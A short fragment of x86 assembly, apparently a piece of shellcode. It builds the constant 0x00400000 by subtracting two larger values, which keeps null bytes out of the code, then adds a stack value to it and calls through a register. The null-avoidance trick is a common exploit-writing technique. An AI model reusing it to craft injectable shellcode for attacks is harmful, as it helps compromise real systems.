mov ecx, 0x2beb0a1d
sub ecx, 0x2bab0a1d
add ecx, dword [ebp - 0x24]
call ebx
leave
ret